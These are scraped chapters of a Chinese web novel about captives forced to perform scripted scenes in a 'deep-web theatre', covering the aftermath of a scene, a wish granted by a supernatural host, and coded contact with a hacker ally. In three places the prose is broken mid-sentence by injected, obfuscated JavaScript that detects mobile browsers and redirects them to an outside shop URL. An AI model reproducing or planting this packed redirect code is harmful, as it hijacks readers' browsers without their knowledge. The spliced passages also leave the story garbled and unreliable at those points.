舒觉依言照做。那根凶器又干净利落从血肉中拔出,带着点鲜红的肉渣子,被她举在半空中。 那根针反射出白炽的灯光。太亮了。太刺眼了。 为什么会这么亮? 白日这样堂堂皇皇。 应如观取出酒精给她消毒,涂上药膏,用纱布包扎好。 他没有道歉。 ***** 舒觉从演绎出来,刚好看到应如观站在对面扶手椅后。她揉了揉眼睛,很随意地打了个招呼:“应医生,下午好啊。” 他应该听到她的声音了,但应如观没有动。舒觉无所谓地从桌上拉过水壶,往自己的杯子里倒了杯水。 乔木大概刚往里面加了新的,杯中水仍然温热。舒觉慢慢饮下,等待着。 直到眼前出现光幕:“……你还好吗?” 舒觉抬起眼。面前男人的脸色比她预想的更差。她还以为对方既然是法医,应当看惯了活人尸体和人情冷暖,不会太被刚刚那段剧情影响。 还是说,这是观看者与实施者之间的距离?她回答:“我没事啊。” 应如观面色并未好转。他看着是很想说什么,但有某种东西阻止他把这些字句说出来。舒觉平静地说:“如果道歉能让你好受些的话,那就说吧。我会说没关系的。” 应如观缓缓摇头。“……道歉没有意义。” 舒觉向后,仰靠在沙发背上,“哦,还是有的吧。就像我刚刚说的,能让你好受点。” “但你不会。”他说,“让加害者好受又——” “你不是加害者,应医生。”舒觉打断他,她语气平静,像在说最简单不过的一件事,“伤害徐青木的,是剧里那个叫高黎的法医;伤害我的,是这个剧场。不论受害者是谁,应医生,你在其中没有位置。” 应如观苦笑。“倒是我看得没你透彻。” 舒觉摇摇头,“是应医生太过良善。” “良善?”光幕上出现他的反问——不,是对自己的诘问。 他没给舒觉一个回答,但或许心中早有答案。应如观恢复往常姿态,他对她浅笑一下,便离开了。 舒觉正打算舒舒服服喝完这杯水再走,又有不速之客来打扰她。曲语冰溜进客厅,见她便笑道:“你可把洛珠吓了一跳。” 面对曲语冰,舒觉的态度就要随便多了。她哼了一声:“管我什么事。” “你拿那根针刺自己,还真刺伤了,没借位没做别的,这可不是一般人能做得到的。” “那个角度能借什么位?而且剧本明明白白写了,要我这么干;我不干,就等着被惩罚吧。” 曲语冰沉默了一下。舒觉瞧着他,忽然笑起来,她说:“要说这种情节,你不也做得到吗?” “在强迫自己伤害自己这件事上,你比我更能克服本能吧。” 她笃定地说。如同她已经看过这样的发展并且测算出了结局。 曲语冰不说话,只是盯着她。这种时候,舒觉才会觉得他的瞳孔实在幽深,在她看来,不笑的曲语冰才是真正的曲语冰。 然而,他很快又拉高唇角,“说不定啦。也许我们俩半斤八两呢。” 舒觉懒得应付他。她仔细想想之前的对话,冷不丁抛出一个问题:“你最近和洛珠关系很好?” “嗯——也说不上。”曲语冰说,“我和她都在双胞胎手下挨教鞭呢。可能产生了革命同志情谊吧。你不是知道吗?” 他要装傻,舒觉也不戳破。她耸耸肩,说:“那挺好的。” 说完她就把杯子拿去厨房洗了。舒觉本以为这场戏的风波到此结束,没想到还有人要来关心她。 祝时明在厨房里翻冰箱,他翻找得太投入,在舒觉开水龙头之前都没注意到她进来。直到哗哗水声把他吓了一跳——大概吧,反正她也听不见——舒觉面前的光幕才开始转录文字:“呜哇!吓我一跳。你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16599127|183890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 演完了。” 舒觉点了下头权当回应。光幕没再转录他的话语,可他也没翻找东西了。 舒觉洗好杯子,把它放回原位,余光瞟到祝时明立在她旁边一动不动,终于还是忍不住说:“别再盯着我的左手指甲看了。你不清楚剧场规则吗?我不会有事。” 被点中心思的青年一抖,他不好意思地移开目光,光幕开始转录:“对不起。” 他说话的语速好像比一开始快了一些。是和曲语冰那帮人混久了吗。舒觉说:“你也不用道歉。但反正,我没事。” 她不算排斥别人的关心,但也不想做别人负疚情绪的垃圾桶。祝时明晃晃脑袋,光幕上出现相同的字句:“对不起。” “我都说了我没——” “但你还是会痛啊。” 舒觉愣愣地看着光幕上的文字。那里还在续写:“就算不会留下伤口、不会有任何痕迹,但只要疼痛存在过,就永远鲜活。……永远记得。” 舒觉深吸一口气,压下心中动荡的感情。什么时候,她已经把忍受痛苦当成常态、作为义务? 但已经迟了。她已经产生耐受性,再也难觉得“将针刺进自己手指”这样的事有什么大不了的了。因为生命中有过太多比它更惨烈的痛苦,而她连遗忘它们的机制都失去了。 舒觉不再思考这些。她转而说:“只要演绎还在继续,我们还没能出去,这样的事只会越来越多。你尽快适应比较好。” 她也不看祝时明什么反应,转身离去。 ***** 待到吃晚饭,舒觉把碗递给里汤锅最近的乔木,请他帮自己盛汤。乔木不语,只是一昧往她碗里加料。 前提情要:乔大厨今晚炖的是一锅老母鸡汤。舒觉看着碗里的鸡爪,露出颇有点一言难尽的表情,问他:“这个……是要让我吃的意思?” “吃什么补什么。”乔木言简意赅。 是这个补法吗!舒觉不理解,但她尊重并小受震撼。幸好她完全不挑食,一点一点把鸡爪啃完了。 洛珠凑过来,她小声问:“还痛吗?” 说实话,舒觉是有点感动的,但更多的是哭笑不得,“怎么会呢。都演完那么久了。” 她主动提起对方今天演的剧目:“你们那部《堕天》,今天是演了最后一集吗?” “对啊。我半路就下线了,不过结算完成奖励也有我的一份呢。”曲语冰插话。 一般只有主演在全集演完后有一次高额结算奖励,曲语冰应该也算是《堕天》的男主角,有结算也不意外。 这么说,洛珠是唯一一个演了主角,并且演完两部剧的人。 这个念头闪过的瞬间,她眼前的光幕忽然出现了演员们之外的字句:“看来,你们适应得很好嘛。” 她抬起眼,穷奇的身影出现在半空。面容昳丽的小女孩带着刻薄的笑,继续说:“别那么紧张,我现在又不会吃了你们!” 那就是说以后会吗。舒觉不动声色,看她后手如何。 穷奇说:“我这次来,可是要给某位演员一个奖励!” “五号演员,洛珠。”她垂下头颅,一双鬼气森森的兽眼望向舒觉身边的女孩,“作为现阶段点数最高的演员,你获得了一次向剧团长许愿的机会。” “来吧,告诉我。”她张开双手,仿佛要给予幸运儿一个拥抱。 “你的愿望是什么?” 30. 第 30 章 【剧目:岛】 【演员甲:曲语冰】 【演员:邹摇光、邹玉衡】 那扇门轻响一声。下一秒,轰然剧震,大门猛地被踹倒! 双胞胎一前一后走进来。邹摇光先是扫视了一圈店内环境,看到那些几可拟真的人偶时,她厌恶地皱起眉头,眼中却闪过惘然。 她的弟弟从她身侧举起铳,对准桌后的男人,“你无路可逃了,魔师!你敢动一下,我的子弹就会洞穿你的脑袋!” 曲语冰还是那身长袍,闻言,他慢慢抬起头,脸在斗篷帽子下渐渐显露出来。面对漆黑的铳口,他毫无畏惧,甚至露出微笑。“我等你们很久了。” “怎么,你急着自首?”邹摇光收回视线,看向对方,“可惜,再怎么减,你也只会是死刑。” 像听了个笑话,曲语冰笑得更欢了。他说:“真有趣。我做错了什么呢?” “你可是把一座岛的活人变成了傀儡——残害了这么多生命,你还敢问你做错了什么?”邹摇光厉声说,“人怎么能无耻到你这个地步?” “真是冤枉啊。”曲语冰稍微晃动了一下身体,邹玉衡立刻警惕地移动铳口。他笑着说:“别那么紧张。我的伙伴都被你们杀完了,我就是一个普通人,不像你们那样有天赋。” “反正我不可能逃得掉,你们不妨听我讲一个故事,如何?” 没等双胞胎同意或拒绝,曲语冰自顾自开始了讲述。 “曾经有一个男孩。他从出生开始就学习如何制作人偶,但他的父母从来没有对他的作品满意过。他们总是在问:为什么你不能做出有生命的人偶? “但人偶本为死物。有生命的人偶要如何做出?男孩迷茫,待他长大,他开始游历,试图找出制作的方法。可惜,知道他成为少年,仍然不得其解。 “直到一次海上旅行中,船只遭遇风暴,他被抛入汪洋。少年以为自己会就此死去,却在昏迷中被海浪推上一座小岛—— “好心的岛民将他救下。这里与世隔绝,因而民风淳朴,岛上人不问他来历、不问他将来,之时将他当做家人一般照顾,直到他痊愈。 “这样的关怀与爱,是少年从未体验过的。他被这座岛拯救了。 “大难不死,也让他开始思考自己人生的意义:真的要寄托于这么一个虚无渺茫的梦想?他只是从小开始,就被教导制作人偶,可他真的喜欢吗?还是只是遵从大人的指令,因为听从比反抗要更轻松? “在想明白之前,少年暂且停留在了岛上。他爱上了在这里的生活,也爱上了这里的人。在这里,他可以做他自己,不需要迎合他人。 “有一天,岛民邀请他参与年度的庆典。他答应了。 “这是个感谢保护他们生活的守卫的庆典。少年随着篝火旁的乐声,与他人共舞,直到那两个身影前来—— “——活的人偶。他曾经梦寐以求的事物——会说话、会笑、会生气、拥有生命的人偶。 “少年还没弄清楚他们的运作原理,一场屠杀便已揭幕。曾经保护这座岛屿的卫兵,不知为何,将自己的刀剑对准了他们本该守护的对象。 “在一片混乱中,少年逃进收留自己那家人的地窖。三天三夜后,他战战兢兢爬出来,迎接他的不是第一缕日光,而是被焚毁的村落,和满地干涸的黑红。 “这是为什么?他们厌倦了吗?因为年复一年日复一日地服务人类?还是不愿意被操控在远弱于自己的人手中? “少年得不到答案。他只能为他们收敛遗体。 “而对他来说,献上最高敬意的悼亡方式,就是将人们的尸体制作成人偶。 “他操起针线,缝缝补补,人们的容颜和身姿就此保留。他一个人在这座岛上生活,他放出消息,让人们误以为这里是一座吃人的魔窟,他在等待。 “等待他们归来的那一天。等待他的义务得以履行完结的那一天。” “而今天,你们来到了这里。”曲语冰微笑着,“感谢你们的聆听,让我们继续做我们应做的事吧。” 双胞胎看上去都对这个故事云里雾里。但这不妨碍邹摇光警惕地摸上腰间铳柄,“你要做什么?” “履行我的义务。”他简单答道。 曲语冰轻轻一挥手。刹那间,所有人偶活了过来:地上的、玻璃里的、天花板下的。所有已死去的人们,仿佛再度回归,孤岛又迎来了它的居民。 他们挥舞四肢,如同海潮,向殿中央的猎人们涌去。一瞬间,便淹没了一切。 曲语冰站在一切之外。他并不愤怒,也无悲伤,只是目光深远。 他说:“结束吧。” ***** “你的愿望是什么?” 穷奇这样问。 被点到的女孩一脸茫然。恐怕她自己也不清楚,她居然是所有人里点数最高的那个。 餐厅里一片安静。所有人都在等洛珠的决定。这可是莫大的幸运!她会如何把握呢? 希望她能许个实际点的愿望。舒觉心不在焉地想,不过,一般人突然被亿万彩票砸中,大概都很难做出理性客观的判断吧。 穷奇还倒数起来:“我可没那么多时间。十、九、八……” 这很坏了。洛珠慌乱地张口:“等等!那、那个……” 她说:“我想要恢复邹玉衡的腿!” ——这是不可能的。这个判断甚至不需要思考,下意识便会出现。舒觉深知,失去的器官功能,只有在重演被惩罚的那场戏后,才能被还回。 除此之外,别无他法。 饶是穷奇,听到这样的愿望后,都沉默了数秒。她再度开口,语气有点古怪:“你确定吗?” 洛珠用力点头,“我确定!” 她根本就不知道自己许下了一个什么样的愿望。 所有人——尤其是那几个——屏息静气,等待最终的判决。 穷奇没说话。她微微撇着头,似乎在和谁沟通。片刻,她直视洛珠双眼,在得到毫不退却的视线后,她耸耸肩,说:“好吧。” “好吧”? 舒觉几乎不敢相信自己的耳朵。这个愿望可以被实现?它没有违反规则? “你的愿望已受理。”穷奇喃喃说,她没有动,但一个电子声音响起:“十秒后,演员邹玉衡左腿膝盖以下机能将恢复。” 倒数很快结束。由于本人不在此处,无法立即确认效果,但剧场是不会说谎的。 也就是说,曾经绝对不可违背的规则,如今被打破了——或者说,有了宽容的余地。舒觉和乔木对上视线,红发青年无法掩饰眼中闪动的希望;她又看向曲语冰,他面无表情,只是微微摇头。 这背后一定有什么他们不知道的缘由,或者阴谋。舒觉还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16611145|183890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没确定要怎么做,那厢乔木便开口:“那么,这是否意味着,其他人失去的身体机能,在一定条件下,不需要重演当初那场被惩罚的剧目也可以被恢复?” “哼……在某些特定条件下,是的。”穷奇撇着嘴回答他。 “那条件是——” “你觉得我会白白告诉你吗?自己想办法找答案。”她打断演员,满脸不高兴的样子。 至少他们可以知道,这条规则的确被改变了:演员失去的器官机能,只有在重演被惩罚的剧目并通过后,才能得以恢复。这是上一轮他们默认的铁则,因为太过理所当然、也太过刻骨铭心,这一次他们才所有人都忽略了去追问。 毕竟,“编剧”的缉查都在开头就被通知了,这条规则变了也没什么好奇怪的。 舒觉不可遏制地心跳加速。她当然想回到五感健全的正常人的生活。其他人也是如此。 但穷奇说的那个条件是什么,他们还不知道。看来要寻找的东西又多了一个方向。 愿望主体?不、剧场不可能如此明目张胆地偏心。那违背了它“公平”的原则。 许愿条件?需要触发一些点数积攒的节点会有的特殊奖励?但上一轮他们也有这个环节,只不过当时许愿者并没有丧失身体的一部分,所以她并没有许下这样的愿望。他们无法从上一轮的经验中找到答案。 暂且想不明白,舒觉决定事后去试探试探“幕后”的口风。尽管大概率会被拒绝。 抛开这规则变动不谈,洛珠的愿望出乎了所有人意料——大概吧,至少在舒觉看来,也没几个人不惊讶的。 你的愿望,居然不为自己而许下吗? 这不会让舒觉不怀疑她。恰恰相反,她的怀疑加重了。 你不为自己许下愿望。是不是因为,反正你掌控着这个剧场,你不需要这个愿望? 一时间,各人心思千回百转。最后是苏彦略带惋惜的声音响起:“其实,你可以许愿让自己出去的。” “诶?这可以吗?”洛珠吃了一惊,漂浮在半空的穷奇翻了个白眼,恶狠狠地说:“当然不行!许愿也是有限制的!别以为我们什么都会给你们实现!” 比起上次,她怎么觉得穷奇更有人情味了。确切来说,更像个和他们一样的人类。不过,不友好和看戏的态度倒是没大变化。 “我再重申一遍:你们可以许下任何愿望,所有愿望都可以不仅限于剧场内生效。同时,除了让你们离开以外的愿望是不予受理的,其他都可以尝试。我们会视情况给予答复。 “总之,想出去,要么演戏攒到足够点数,要么找出‘编剧’。二选一。当然,我们也很欢迎两边都有演员做到,那个时候,达成条件的演员会分别有一次许愿的机会。” “那是最后的大奖。各位演员,敬请努力。”穷奇又恢复平时高居临上,作壁上观的悠闲姿态,她甚至像谢幕演员般,手置胸前,向他们鞠了一躬,才施施然消散。 好吧,至少他们最后的目标没有变:活着从这里出去。最好不要少掉太多部位。 舒觉不由得抚摸自己颈上的丝绒环带。上面点缀着细细的水钻,不是昂贵货色,切割面的尖锐边缘摩擦、嵌入她指腹的肉里,不至于留下伤口,带来轻微的痛感。 这是他们约好的目标。但不能是她的。她还需要…… 她还必须做到更多。 31. 第 31 章 冀湖市政府大楼,某间办公室外,舒觉摁了下申请进入的门铃。尽管她的手环可以刷开任意一道智能防控门,但在现在这个时候,过多显露锋芒并非好事。只会让人觉得她态度不合作。 显示屏上出现两个字:请进。舒觉依言推门进去,办公桌后的女人抬起头,她对舒觉露出恰到好处的微笑,“没想到你会主动来找我,舒觉。” “反正我不来找你,最后也会被通知要来找你,不如我先过来,省掉一道程序。”舒觉并不客气地坐到会客沙发上,茶几上早有一杯沏好的茶。 她捏起杯缘,确定温度合适后,一饮而尽。办公室的主人语气悠然:“我珍藏了好久的茶叶,你觉得怎样?” “不知道,喝不出来。”舒觉干脆地回答。 女人也不生气,仿佛只是闲话家常一般:“去叁水市的旅行怎么样?我记得那里的海洋公园很有意思。” “没去。没空。你只给我批了两天的出行限制许可,我哪里也去不了。”舒觉说,语气并不尖锐,只是平淡地陈述事实。 “还请你理解。毕竟在……受害者里,你也是最特别的那一个。”女人彬彬有礼地回复。 舒觉深吸一口气,又吐出来。“让我们打开天窗说亮话吧,戴科长。” 她把茶杯放下,“你想让我协助你,查出深网剧场的主使,最好把整个剧场都取缔掉,对吧。” 戴令微笑一下,“我确实是这样想的。不过,在遭到安律师的拒绝后,我基本已经放弃了这样的念头。” “或许,我们的确对你太残忍了一些。”她又说,看不出表情如何,“很多时候我都忘了,你也才二十岁。” 听了这话,舒觉的表情也未变分毫,“无所谓。不是你,也会有别人。” 她停顿了一下,似乎是在思考什么。戴令没有催促她,拿起一份文件,查看起来。 片刻后,舒觉平静的声音响起:“我会协助你查清楚深网剧场是怎么回事。但这不是免费的。” “啊,那很好。我很高兴。毕竟天上掉午餐的事情都很让人不好意思。”戴令放下文件,她双手交叠,置于下颌。 她目光深深,“那么,说说你的条件吧。” “首先,钱。你要给我足够的预算。” “这没问题。” “其次,人。我不会用你的人,政府里没有我信任的对象。” “那你是想要?” “我的家人。还有其他几个人。你知道他们在调查事情上是专业的。我需要你取消他们的出行限制令,哪怕只是这段时间也可以,不要做得太明显。” “这个要求就有些为难了。不过,只是一段时间的话——三个月够吗?” “不好说。可能够,也可能不够。” “那就暂定三个月吧。你还需要什么?” “不要过问我做的事。我知道你的人一直在监视我们,继续也可以,但不要探究我做的事是为了什么。如非必要,我也不会主动和你联系。这是为了我们双方好。” “这是个合理的请求。我们也不知道深网剧场渗透进我们身边多少,保持警惕总比放松懈怠要好。你已经拥有我的信任。” 舒觉呵笑一声。“真是个奢侈的词语。” 她没多纠结这个话题,转而说:“我们要明确一件事:我不一定能成功。实际上,我死在里面的可能性比我能出来的可能性高很多。遑论带出情报。” “我会做我能做的事。作为回报,不论我有没有出来,三个月后,你要解除对其他人的一切限制——不管是出行、人身、还是财产。” “以防万一,我需要知道,‘其他人’是——” “我的那四个兄弟姐妹。陈颂风、施楠幸、邵吉、何雲乐。” 她说这些话时声音里感情很深。戴令默然看着她,权衡稍许后,给出了肯定的答复。 “我会尽量确保他们的安全。”戴令再给出一个承诺。 舒觉点点头。她双目放空,盯着前方的空气。 忽然,她身体猛然抽动一下,如同癫痫发作,她无法克制地发出咳嗽声,双手条件反射抓住喉咙上的金属choker,仿佛即将窒息。 戴令立即起身,赶到她身边,要帮她取掉choker。舒觉却推开她的手,摇摇头,示意自己一会就好。 戴令也没有硬要插手。她等待着,直到舒觉呼吸平复下来。 惊恐发作。她默默思忖着,心中的某处角落在质疑:将一个已经被逼迫至此的人再度推回屠场,是否太过冷硬无情? 只是这声音太小,很快被她的理智压过。 “虽然可能有些晚了,不过我想问问,你为什么会同意?我真的以为,你今天过来是要给我一个明确的拒绝。” 戴令最后问她。舒觉本要开门出去,闻言停下手,她思考了一会儿。 “有别的剧场生还者来找了我。除此之外,就是因为,我在做梦。” 她说。 ***** 深夜,舒觉对着数个排列光屏,核查这几天的监控。 自从抓到苏彦半夜出门后,她加大了对他的监测力度;可惜,之后他的所作所为和往常毫无不同,就像那夜外出真的只是睡不着想半夜跑跑步。 当然,想跑步不需要跳窗出去,所以说到底他还是心里有鬼。不过舒觉也没有太怀疑他。从日常生活中看来,苏彦就算真的肩负什么秘密任务,也大概率会是某人的下属。他的资历还没有深到能被单独指派出来。 除非,他的学历、年龄和日常表现全是假的。但要做到那份上,得多天衣无缝的演技,舒觉不认为这里有谁做得到。被拉去舞台上演戏就够累了,日常生活里还要演,大概是要得精神分裂症的。 比起苏彦,她对和他会面的人更感兴趣。那个人未必是敌对方——不,如果她真是警察,那或许她们目的是一致的,可以合作也说不定。 虽然她不喜欢警察。不过在剧场里,喜不喜欢并不重要,舒觉不会拒绝能借用的力量。 上回她给洛珠打断了,这些天不得不加班加点多看看监控回放。幸好这几天似乎还没轮到她的戏份,和应如观对完戏后她就没事了,还能匀出些时间来干自己的事。 不过,依照《白日堂皇》目前的感觉走下去,他们四个大概率要自相残杀了。舒觉思忖着,在脑海中重播起下午看到的演出。 【剧目:白日堂皇】 【演员甲:姜满】 【演员乙:苏彦】 姜满走在阴暗的小巷里。地面积水横流,垃圾四处,散发着恶臭的气息。 姜满对这一切视若无睹。她穿着休闲服装,低坡跟鞋啪嗒啪嗒,清脆地敲在观者心中。 她目标明确,径直走到一间小卖部里。泛黄的卷帘门上停着几只苍蝇,她一掀开,惊乱飞起。 姜满大步走进去。“老板,来盒烟。” 里头站着一个光头男子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16626968|183890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那大概是剧场随机生成的群演,他瞥了姜满一眼,蹲下去掏烟,“要啥牌子?清源直产的凤钗头要不?还是本地的朱美人?” “都不。给我来盒黑薄荷。”姜满将一张钞票款款放在布满划痕的柜台上。 老板蹲下的身子不动了。半天,他才慢慢站起来,“不好意思,卖光了。” “真的吗?可我看你还有库存。”姜满不动声色地微笑着。她用指尖点住钞票,往前推了推。 老板快速瞟了钞票纸面上的字。他语气僵硬:“我不知道你在说什么。” “五天前,有个男的在你这里买了方便面。”姜满笑意盈盈,眼神却冷漠如刀,“你还记得他最后往哪里走了吗?” “那么多男的,我哪知道你说的是哪个。” “你不可能不知道。他买的东西远超一个成年男性的量,不是吗?而且还买了卫生棉条。” 老板不敢与姜满对视。他咽了口唾沫。姜满双臂环胸,站在那儿,漫不经心说:“想起来了吗?” 沉默。只有墙上挂钟在滴、答、滴、答。男子的光头上渗出油和汗,在灯光下泛着层光。他几次张嘴,最后只蹦出来一句:“……我没印象。” 姜满眨了下眼,不耐烦逐渐爬上她漂亮的面孔。她垂下视线,思考了片刻。 随后,她说:“我记得,你这家店上个月环境卫生检查不合格了吧。” “你——” “把实话告诉我。我帮你搞定这件事。” 她的语气是那样笃定,好像没什么是她做不到的。但一个地方警察,怎么能把手伸进卫生管理局去? 老板终于明白,他面前是他惹不起的人。他低声下气地说:“他往金洒路那边去了。拿着那么多东西,没交通工具,他走不了太远。” “多谢。”姜满点了下头,什么也没拿,钞票留在那里,老板急忙叫道:“你答应的事要做到!” 姜满朝后挥了挥手,示意自己听见了。她先打了个电话,“喂,魏叔叔?对,我有个朋友在开店……” 她把事情讲好,又甜甜地奉承了对方几句,便挂断了。然而下一刻,另一个电话打进来。 她接通。里头苏彦的声音直接冲破电子障碍:“张队!我找到高黎的下落了!” 姜满显而易见地精神一振。她回道:“很好,我这边也有了线索。我们先集合。” 她走出巷子。那张美艳动人的脸上,是冷凝沉重的神色。 ***** 接下来大概会是他们四个人在某个空间内对峙吧。舒觉也看过一些刑侦剧,本人也帮助警方侦破过一些网络犯罪案件,大概能料想到之后会怎么发展。 不过,结局会是怎样,她不敢肯定。在目前情况下,哪一方胜利都有可能。而输掉的那一方,大概率会在剧本里死亡。 终于,要迎来第一个会死人的剧本了吗。舒觉平静地看着光幕,大脑一边处理涌入的视觉信息,一边考虑之后该如何演绎。 上一轮他们第一个结束的剧本就已经有人死了。不过不是同伴下的手,只是灾害导致。而这一次,需要他们在虚构的舞台上,对着生活在同一个屋檐下的人,拔刀相向—— 捅进他们的胸膛。 不论是杀人还是被杀,她已经做好准备。 手环忽然叮咚一声。她没开声音提示啊。 舒觉摁开消息界面。那里是一条未知发送者的短信。 【Scanner?】 32. 第 32 章 乔木从低空列车上下来时,天晴了。现在是盛夏,冀湖市干燥得要命,能下场小雨湿润一下,他也谢天谢地了。作为南方人,他一直不是很受得了这种中部城市的气候。 他点开手环,确认前往那家花店的路线。说来这事都要按到他姐头上。“我给你点了一束花,你记得要去拿哦!” “别一天到晚老是窝在家里!偶尔也出去走走换换心情嘛!看点漂亮的花,说不定能缓解心情呢?” 乔心发送来这样的消息。乔木摁灭手环,出地铁站,过马路。雨后的空气清新,他心情尚可,也清楚自己姐姐是在关心他。况且,他确实也很久没出门这么远了,换个环境,也许能转换下想法。 这家花店地理位置倒是很优越,就在市中心商业区街上,店面也不小。乔木看了眼店头刻着“一枝疏风”的招牌,推门进去时风铃清脆的响声与他的声音混在一起:“打扰,我来取一束花——” 里头展示架错落有致,收银台做成藤萝蔓生、香花点缀的特别样式,重重花幕后坐着一个女孩。第一眼看过去时,乔木以为她是刚放学的高中生,和这家店老板是亲戚,来帮忙看店。 然而在说话的间隙,他越发觉得这人侧影分外熟悉——那“高中生”抬起脸,将头发拨到肩后,“您好,订单号——” 她的话卡在半截。乔木还在自我怀疑,她已经率先叫出声:“乔木?” “舒觉?” 很难说是旧友重逢分外感动,但他们也不是一般认识的校友关系,乔木暂时摒弃那些情绪,他走过去,说:“我订了一束花。订单号是……” 舒觉一边在店铺的工作光幕上查找,一边说:“你今天没课?” 乔木沉默了一下,回答:“我休学了。暂时。” 舒觉并未露出意外的表情。“没事,我最近也没上班。” 和她聊这个话题总觉得挺割裂的。乔木总是很难相信,舒觉还比他小了两岁。 舒觉找到了订单,她去后面仓库取打包好的花束。乔木在外面等她,随意观赏着店内的植物。 也不知道舒觉和这家店是什么关系。虽然他们一起撑过了一轮演绎,并且从深网剧场里出来了,但关于舒觉的人际关系,乔木仍不很清楚。他只知道她好像有姐姐,也不知道有几个。 难道她姐姐是开花店的?他这样猜测,舒觉抱着一束花走出来,她利落地打好丝带,递给他,“这是你的花。回去尽量放在有阳光的地方,每天都浇点水。” 接着,她促狭问:“女朋友送的?” 她会这么想也不奇怪。乔木摇摇头,“我姐给我订的。” 这么说来,他很久没收到他女朋友的消息了。她之前是……去什么封闭项目?好像是这样。 驱散心底隐隐的不安,他听到舒觉很平静,但很直接地问:“你得了进食障碍?” 面对她,乔木也无需藏着掖着,“是。很明显?” 舒觉点点头,又摇摇头。“只是看你比上次瘦了很多。” 乔木每天看手环显示的身体数值,自然知道自己体重几多。难得见到,他也不想就这么随便聊两句就走,舒觉大概也有类似念头,她说:“我们家还有卖饮料,你看看有没有想试试的?” 这种能看见内容物的饮料,乔木一般还是能喝得下的。他看了会儿菜单,点了杯植物奶昔。 舒觉就在柜台后操作,乔木看着她忙,随口问:“这是你姐姐的店?” “不是。是我姐夫的。”舒觉一边调试机子一边说,“准确来说,是我姐姐男朋友。不过我看他们和成了也差不多,就随便叫了。” 原来如此。不多时,舒觉把饮料给他端上来,乔木要手环感应付款,她一摆手,“拜托,我们什么交情,算我请你了。” 这倒也是。乔木抿着吸管,舒觉看着他,她似乎有什么话想说。 最后,乔木等来了她的迷惘:“如果我说,我想回到深网剧场,会很不可理喻吗?” 他本该震惊,至少觉得无法理解:谁会想回到炼狱里头去?但乔木道出自己最真实的想法:“不。” “你的想法一定有原因。我不会质疑你这个。”他简单说。 舒觉黯然坐在柜台后。她看上去很痛苦。这几乎是他们的常态了。 即使从屠场里逃出来了,他们也还在被往日的残影追着,就像影子被月亮钉在地上,逃得再远,也无法扯断。 “曲语冰来找了我。”她说,“我和他……想法是一样的。我们需要回去。有什么东西在等着我。……有什么事还没完成。” 即使是舒觉,也无法将那种莫名的、不明的东西完全表述出来。那是深藏在脑海深处的潜意识,还是某种心魔、执念? 然而,毫无理由地,乔木理解了。除了进食障碍、噩梦与失眠交替、惊恐发作以外,从某刻开始,更深的念头开始从他意识中发芽。 他说:“如果你要去,能带上我一个吗?” 乔木抬眼,对上舒觉惊愕的眼神。 ***** 舒觉简直是从椅子上弹起来。她强压惊喜,很快写了一条回复:【Screwdriver?】 【是我。】 邵吉在她看不见的地方敲着键盘。【1111100011100111000010110000111】 舒觉眼睫眨动。字符在她瞳孔中倒映,她毫无犹豫地敲击键盘,完全不需要查找任何字典。【0100110101100001011101000110001101101000】 另一边隔了好一会儿才回复,大概是在核对数字。【OK】 【待命中。风不强。】 舒觉咬了下嘴唇。这意思是尽快传递她的要求,他们不会有太多联系的时间。很显然,邵吉也费了很大力气才定位到她的手环,给她发出这些信息。 而以他的技术,按理说不应该。他入职她的部门也不会困难,而那里全是一堆国家公认的计算机天才。当然,她觉得自己不算,只是熟能生巧。 连接并不稳定,舒觉能注意到消息界面在波动,仿佛湖面倒影,很快要消失。她立刻写下目前最需要确认的事。 【卸螺丝。比永恒多两个。】 意思是让他调查九个人。舒觉按照他们从前的秘密语言,将其他九个人的名字逐一发送出去。 敲完后,她补充了调查优先级:乔木和曲语冰放在最后,然后是祝时明、苏彦和洛珠;接着是那对双胞胎,应如观,第一位是姜满。 对方发来:【要拆椅子?】 这是问她需要查到什么程度。舒觉思索一下,回他:【祭坛下的永恒看螺丝。其他钻孔,有风就拆椅子。】 意思是除了应如观和姜满外,只需要确认外界是否有这七个人存在;那两位大人则需要细致调查,有时间的话最好能查到他们祖宗十八代——开玩笑的。只是要挖出他们人生里藏得最深的秘密。 确定邵吉记下了她的要求,看到连接还挂着,舒觉忍不住多问了一个问题——一个很普通的问题。【风力、风速、风级?】 她问他:现在几月几号,几点? 邵吉给了她具体到秒的现在时间。紧接着,光幕骤然暗淡,无声关闭了。 舒觉眯起眼,仔细回忆起最后记得的日期和时间。来到这里后,一共过了几天。 这对超忆症的她不是难事。她很快得出结论。 日期是对不上的。时间更不用说。邵吉那边是下午,但她这边已 